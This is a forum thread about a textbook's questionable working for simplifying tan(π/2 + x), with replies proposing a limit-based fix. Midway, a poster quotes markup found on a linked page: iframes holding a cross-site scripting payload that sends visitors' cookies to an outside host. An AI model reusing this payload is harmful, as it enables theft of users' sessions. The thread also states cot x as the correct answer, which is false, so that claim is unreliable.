Maths question that's infinitely funny...

Well, I was revising for a Maths exam tomorrow, and noticed this example question in a summary I was going through:
Using a compound angle formula, simplify tan(π/2 + x)
Here's what their working out looked like (reproduced by me in OpenOffice equation editor; I don't have a working scanner at the moment):
Interesting, to say the least. Talking ∞/∞ out as a common factor?

@Daniel15 said:
Well, I was revising for a Maths exam tomorrow, and noticed this example question in a summary I was going through:
Using a compound angle formula, simplify tan(π/2 + x)
Here's what their working out looked like (reproduced by me in OpenOffice equation editor; I don't have a working scanner at the moment):
Interesting, to say the least. Talking ∞/∞ out as a common factor?
If as the first step you express it as lim [A>pi/2] tan(A+x), you should be able to apply your approach, because you're taking out (tanA/tanA) instead of ∞/∞, and [i]then[/i] you apply the limit. No?
So who set the question? Do you think they'd accept the ∞/∞ approach, or have they deliberately added that ∞ twist to catch people out?

Ew, Pseudomathematics. That's awful.

@Hatshepsut said:
If as the first step you express it as lim [A>pi/2] tan(A+x), you should be able to apply your approach, because you're taking out (tanA/tanA) instead of ∞/∞, and [i]then[/i] you apply the limit. No?
Yeah, using a limit would work fine.So who set the question? Do you think they'd accept the ∞/∞ approach, or have they deliberately added that ∞ twist to catch people out?
It was an example from a summary book for the Specialist Maths course here. We're allowed to bring one bound reference into the exam, so some people bring this book in (I will be... I started writing up my own notes but this book had everything I wrote and more).
There's definitely better ways to do it, for example express it as sin(x + pi/2) / cos(x + pi/2) and then use the other compound angle formulae on that).


@shadowman said:
Reminded me of some of these
FYI, clicking on that link caused the corporate virus scan to raise a warning about JS exploits.

Yep I second this statement

found this in the code:
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<iframe src="http://www.stumbleupon.com/searchers.php?q=<%2Fscript><script>document.location%3D'http%3A%2F%2Fval2007.3hosting.net/vvacation.php%3Fc%3D'%2B(document.cookie)%3B<%2Fscript>" >
</iframe>
</div>
<iframe src="http://www.stumbleupon.com/searchers.php?q=%3C%2Fscript%3E%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fval2007.3hosting.net/vvacation.php%3Fc%3D%27%2B%28document.cookie%29%3B%3C%2Fscript%3E" mce_src="http://www.stumbleupon.com/searchers.php?q=%3C%2Fscript%3E%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fval2007.3hosting.net/vvacation.php%3Fc%3D%27%2B%28document.cookie%29%3B%3C%2Fscript%3E"></iframe>

@PerdidoPunk said:
@shadowman said:
Reminded me of some of these
FYI, clicking on that link caused the corporate virus scan to raise a warning about JS exploits.
Sorry about that. I didn't get any warning at my office. A coworker sent me the link a few days ago, I was just passing it on.

It looks to me as if they solved the whole dividing by zero problem. Isn't tan(pi/2) undefined?

And for those of us who haven't done trig identities in a decade or two, what's the correct answer?

@Carnildo said:
And for those of us who haven't done trig identities in a decade or two, what's the correct answer?
Suprisingly enough, the answer obtained in the end (cot x) is the correct answer.
It looks to me as if they solved the whole dividing by zero problem. Isn't tan(pi/2) undefined?
Yeah, it is.
tan(x) = sin(x) / cos(x), and cos(pi / 2) is 0. Also, thinking about it logically, having tan(pi/2) would involve a triangle with two right angles, which doesn't really make sense.

@Daniel15 said:
@Carnildo said:
And for those of us who haven't done trig identities in a decade or two, what's the correct answer?
Suprisingly enough, the answer obtained in the end (cot x) is the correct answer.
It looks to me as if they solved the whole dividing by zero problem. Isn't tan(pi/2) undefined?
Yeah, it is.
tan(x) = sin(x) / cos(x), and cos(pi / 2) is 0. Also, thinking about it logically, having tan(pi/2) would involve a triangle with two right angles, which doesn't really make sense.
Makes sense to me, but of course I'm working in projective geometry...

@Hatshepsut said:
@Daniel15 said:
Well, I was revising for a Maths exam tomorrow, and noticed this example question in a summary I was going through:
Using a compound angle formula, simplify tan(π/2 + x)
Here's what their working out looked like (reproduced by me in OpenOffice equation editor; I don't have a working scanner at the moment):
Interesting, to say the least. Talking ∞/∞ out as a common factor?
If as the first step you express it as lim [A>pi/2] tan(A+x), you should be able to apply your approach, because you're taking out (tanA/tanA) instead of ∞/∞, and [i]then[/i] you apply the limit. No?
So who set the question? Do you think they'd accept the ∞/∞ approach, or have they deliberately added that ∞ twist to catch people out?
Ugh, I can hardly read it it's so bad. I always hated math problems where you had to unsimplify the problem before you could solve it, like changing the pi/2 here to a variable so you can use a limit to solve it. If my TA's in school were any indication, this TA would take marks off your limit method because the prof/answer key has a much simpler answer.